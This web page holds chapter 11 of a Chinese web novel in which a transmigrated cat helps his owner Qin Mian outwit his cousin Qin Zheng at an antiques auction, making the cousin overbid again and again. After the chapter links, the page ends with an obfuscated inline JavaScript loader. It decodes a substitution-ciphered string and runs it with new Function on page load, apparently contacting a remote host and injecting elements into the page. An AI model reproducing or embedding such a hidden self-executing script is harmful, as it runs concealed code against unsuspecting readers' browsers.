返回

当我成了反派家的猫

首页
关灯
护眼
字体:
11 第十一章
秦眠骑上自行车并对着季时乘伸出了手:“花花,来。”

季时扭身跑到了坏掉的车子边,他宁愿在车子里待着,也不想被硌一路屁股。

显然,秦眠没料到季时乘会是这个反应,他将自行车停好,一脸严肃的朝着季时乘走来:“花花不要闹了,我们快迟到了。”

然后一人一猫开启了长达5分钟的追逐,天天这里躺那里坐的秦眠,自然不是跑酷能手季时乘的对手,最后秦眠败下阵来。

他深吸一口气对季时乘说:“那我走了?”

季时乘跳上车头,对着秦眠扬了扬下巴。总之快去快回,还有记得把车玻璃降下来。

秦眠并没有把车玻璃降下来,他跨上自行车语带遗憾的叹气:“本来还想帮你物色一块地皮的,看来花花不想要工厂了。”

话音刚落,秦眠的腿上就多了沉甸甸的一墩。

秦眠勾唇,猫咪什么的还是很好哄的。

季时乘伸爪想往车把手上爬,为了工厂他决定牺牲一下自己的屁股。

然后他就被秦眠拦腰抱起来了,在被送上秦眠肩膀的时候他还有些懵,下意识的伸出爪子抱住秦眠的脖子。

秦眠的声音中带着笑意:“坐稳了,我们出发。”

自行车前行,冷风吹的季时乘眯起了眼睛。他侧头看向秦眠的脸,眼神神情复杂。

他以为秦眠会让他坐在车把手上,秦眠却让他坐在了这里。

秦眠对他,对这只只相处了几天的猫,会不会太好了一些?

这时一辆红色的骚包跑车从远处驶来,在靠近他们时速度减缓,然后嚣张的按了喇叭。

车玻璃降下来,副驾驶上坐了一个清秀美人。清秀美人看向秦眠的眼神有些复杂,她对着秦眠点了下头,便低头摆弄手机。

驾驶位上,秦政笑得很灿烂,他举了举手机问:“哥哥,你的车又出问题了?要我帮你打个维修电话吗?”

季时乘眯眼看着秦政,这人不会这么好心。果不其然,他听秦政开口:“哦我忘了,哥哥的车是修不好的,那我们拍卖会见。”

话落,秦政意味深长的看了秦眠一眼,然后一脚油门,红车飞驰而去。

听到拍卖会三个字,季时乘挺直了脊背,秦眠是要去拍卖会?

而秦眠,他依旧保持着自己的速度前行,脸上的表情没有丝毫的变化。

红车上,没有收到万能星进账的提示,秦政有些失望。哪怕秦眠知道车坏了与他有关,也不会给他送万能星了。

希望今天的拍卖会能有奇效。

秦眠载着季时乘继续前行,季时乘怕自己太沉压伤了秦眠,便时不时的在秦眠的两边肩膀上蹦迪。每次他这样做的时候,秦眠都会伸手扶一下他。

看够了沿途的风景,季时乘才想起秦政副驾驶上的女人。他在脑海中问光球:“秦政副驾驶上的是女主?”

光球应声:“对,你觉得她漂亮吗?”

“漂亮。”季时乘承认,他说:“就是配秦政有些可惜了。”

光球愣了一下,它感慨道:“你的眼光很不一样,大家都说女主不够漂亮也不够出彩,配不上男主。”

季时乘冷声:“那的确是配不上男主的,因为她不够坏。”

再说,靠剥夺别人优化来的容貌和才能,有什么值得夸赞的?

光球一板一眼的说:“你的观点很奇特。”

季时乘坦然:“大概是因为我是站在反派这边的。”

从秦政的话中,季时乘知道了他们要去的地方是拍卖会,却不知道还有多久能到。总之在秦眠的肩膀上坐累了,他们才到目的地。

露天停车场上停了很多豪车,骑着自行车驮着猫的秦眠与这里看起来格格不入。

但秦眠还是带着季时乘进去了,因为秦眠有邀请函。

不知是上天安排还是有人故意为之,秦眠和秦政的位置竟然是挨在一起的。

看到风尘仆仆的秦眠,秦政嘴角上扬着,他把玩着手里的邀请函说:“哥哥来晚了,拍卖会已经过去一轮了。”

秦眠没有理会秦政,他坐下后便将季时乘放在了远离秦政的地方。

他坐的笔直,手放在膝盖上,手臂刚好能挡住秦政看向季时乘的视线。

秦政凑近了一些:“真的是骑自行车来的?哥哥怎么不打电话叫个维修,说不定能修好呢,还是哥哥的手机也坏了?”

秦眠目视前方,根本不理秦政,显然像这样的奚落他不知经历过多少了。

季时乘乖乖的靠在秦眠的腿边,假装自己聋了。与其听秦政在这里废话,不如期待一下下一轮的拍卖,看看秦眠会相中什么。

再次被无视,秦政脸上的笑容消失。希望待会被抢拍的时候,秦眠也能这么淡定。

秦政将视线落在穆甜甜身上,他凑近穆甜甜说:“和我堂哥打个招呼。”

穆甜甜眼眸低垂,她压低声音说:“打过了。”

秦政脸上重新挂起微笑,他问:“什么时候,我怎么没看到?”

穆甜甜说:“在车上的时候。”

秦政的眼神冷了两分,他说:“哦?我怎么没发现,你是怎样打的?”

穆甜甜蹙眉,她压低声音对秦政说:“你能不能正常一点?”

每次遇到秦眠,就像是疯了一样,要么拿她奚落秦眠,要么怀疑她和秦眠。

秦政笑容一僵,他不正常?

穆甜甜已经受不了了,她用力抓紧自己的包站了起来。

“我去个洗手间。”穆甜甜没等秦政说话便离开了。

秦政脸上的笑有些挂不住了,他微不可察的深吸一口气,然后装作无奈的说:“女生就是麻烦,随时随地都要补妆。”

秦政以为秦眠会继续无视他,谁知秦眠竟然说话了。

秦眠手指指向出口的方向,声音很平淡:“那不是去洗手间的方向。”

秦政脸上的笑彻底没了,穆甜甜竟然丢下他走了?

看来这段感情,不用再继续维护了。

季时乘伸头朝着出口的方向看,那里已经没了穆甜甜的身影,看来男女主闹矛盾了。

秦眠的声音在他头顶响起:“要去追吗?”

秦政眯眼:“看来哥哥很想去。”

秦眠没有吭声,而是将视线移到了拍卖场上。

穆甜甜这一走就再也没回来,直到第二次拍卖开始,秦政的脸色都不好看。

这一轮拍卖的是古董瓷器,秦眠盯着前面看的认真,季时乘靠着秦眠的腿悄悄打哈欠。

他对盘子碗花瓶之类的没兴趣,也不觉得他们有收藏价值,没想到秦眠还有这个雅兴。

感觉秦眠的手指在捏他的爪子,季时乘将指甲露出来一点,在秦眠的指尖戳了下。

其实有一点他搞不懂,为什么秦眠走到哪里都喜欢带上他,就比如这场拍卖会。

难道是太孤单了?

见秦眠盯着大屏幕上的瓷器看得认真,季时乘在脑海中问光球:“小说里好像有这段剧情,给我读读。”

光球应声:“好。”

光球的读,就是没有感情的朗读,季时乘听着特别的别扭。

简简单单的两千字,总结下来就是:

秦眠来拍卖会,是想给爷爷拍生日礼物,但在拍卖会上,他选中的东西总是被秦政看上。

拍卖会上价高者得,最后秦眠什么也没有拍到,灰溜溜的离开了。

季时乘了然,原来秦眠来拍卖会,是想给秦爷爷准备生日礼物。

既然秦政喜欢截胡,那么不如趁这个机会,让秦政吃个瘪。

季时乘站了起来,他伸爪子在秦眠的手背上拍了两下。

秦眠低头问:“怎么?”

光球也在问:“你有办法帮秦眠夺下拍卖品?”

季时乘回答光球:“没有。”

光球有些失望,这的确很难。然后它听到季时乘继续说:“但我有办法让秦眠不受打击。”

光球听后来了兴趣,它问:“什么方法?”

季时乘说:“拭目以待吧。”

他眨了眨眼睛,努力做出想要的样子,并用下巴指了指大屏幕上的花瓶。

秦眠看懂了,他看了看花瓶又看了看季时乘,他说:“一百二十万啊,想要也不是不可以,亲爸爸一口,爸爸拍——”

柔软的肉垫按在了秦眠的手背上,季时乘呲牙威胁。他虽然没有说话,却用动作将想说的表达的明明白白。

想好了再说。

秦眠闭嘴了,干脆利落的举牌。拍卖师大声喊:“好!120万一次!”

秦眠身旁,秦政紧接着举牌。

拍卖师眼睛一亮:“旁边那位先生也举牌了,130万一次!”

秦眠继续举牌,秦政跟着举,季时乘跟着看热闹。当秦政喊出600万的高价时,季时乘突然从椅子上跳了下去。

秦眠忙着低头找季时乘,错过了那“600万两次,600万三次”。

待拍卖师宣布秦政获得那个花瓶,季时乘才从椅子底下钻出来。

秦政看向秦眠:“哥哥若是喜欢,我让给你。”

秦眠刚要说话,季时乘又有了动作。他在秦眠的手上啪啪拍了两下,指向大屏幕。

快看,这个盘子是不是很好看?

秦眠眉头轻蹙,还是举了牌子。在盘子的价格超出起拍价10倍后,季时乘想故技重施,却被秦眠一把抱住。

季时乘傻眼了,这下怎么办?

拍卖师大声喊:“700万两次,还有跟的吗?”

秦眠的手将将要举起来,季时乘跳起抱住了秦眠的脸。

秦眠举牌的动作顿住,拍卖师一锤定音:“700万三次!再次恭喜34号先生。”

季时乘轻轻吐出一口气,幸亏他反应快,不然最后的冤大头是秦政还是秦眠还真不好说。

季时乘想功成身退,秦眠却不让了,秦眠抓着季时乘的前腿将他举高。

秦眠凑近季时乘,在他耳边说:“老实点,给你开工厂,不然没收你平板。”

季时乘:“???”他这么做都是为了谁?

秦政放松的靠在椅背上,看向秦眠的眼神意味深长。秦眠的资金似乎比他预估的还要少,700万都舍不得。

今晚来对了,待会应该就有万能星进账了。

接下来的时间,季时乘看到什么都想要,秦眠也都如了他的意。

只不过不用季时乘打岔了,到了“合适”的价格,秦眠会自己放弃。

秦政拍着拍着,脸色的从容消失。秦眠怎么哪个拍卖品都拍,难道在耍他?不对,若是耍他,就不会用那种带着克制怒意的目光看他了。

那么,秦眠应该是想捡他的漏。

秦眠每个物品都会举牌,逼得秦政不得不跟着举牌。刚开始还有其他人跟着举牌,后面大家都看出门道来了,他们开始窃窃私语,再也没有别人举牌了。

如此,秦政要是不想让秦眠拿下拍卖品,就只能出高价拍下来。一个两个,几十个,拍的秦政脸色开始发青。

他甚至不敢去计算,这些东西得花去他多少钱。

季时乘身体舒展得窝在秦眠的旁边,他在脑海中对光球说:“看到了吗?”

光球有些佩服:“你这招,很损。”

季时乘轻笑:“秦政也可以不跟。”

光球插刀:“那他前面的钱就白花了,还会被在场的人取笑。但若是一直跟…估计得变卖地产。”

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();